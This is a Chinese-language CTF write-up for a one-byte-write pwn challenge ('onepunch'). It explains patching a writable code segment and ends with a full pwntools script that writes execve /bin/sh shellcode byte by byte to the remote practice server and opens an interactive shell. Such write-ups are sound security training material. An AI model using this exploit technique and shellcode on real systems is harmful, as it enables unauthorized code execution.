继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束。。。。
然后找了半天。。。完全没思路。。。一个字节只能写一次。。。。
然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以有很多了
这里比较写入的字节是否为255,是的话就输出No flag for you
jnz loc_400773二进制是\x75\x0a 0a是偏移,我们只要把这个弄成负数,就可以跳回上面读取写入地址的地方
然后把jnz loc_400773下面的代码改成shellcode就可以
但是找了几个shellcode,发现很多都有255,那么这里就很简单,只要把cmp 那里的改成比较254就可以
但是如果直接输入 xxxx 254的话就直接过了jnz,这里有个小trick,用-2代替254就行了
下面就是完整的payload
from pwn import *
import time
#p=process('./onepunch')
p=remote('hackme.inndy.tw', 7718)
#context.log_level='debug'
p.recvuntil('What?')
p.sendline('400768 -61')
time.sleep(0.2)
p.sendline('400763 -2')
shell_addr=0x400769
#gdb.attach(proc.pidof(p)[0])
#raw_input()
shellcode='\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
#context(arch='amd64',os='linux',log_level='debug')
#shellcode=asm(shellcraft.sh())
for i in range(len(shellcode)):
p.sendline(hex(shell_addr+i)[2:]+' '+str(ord(shellcode[i])))
time.sleep(0.2)
p.sendline('400700 254')
p.interactive()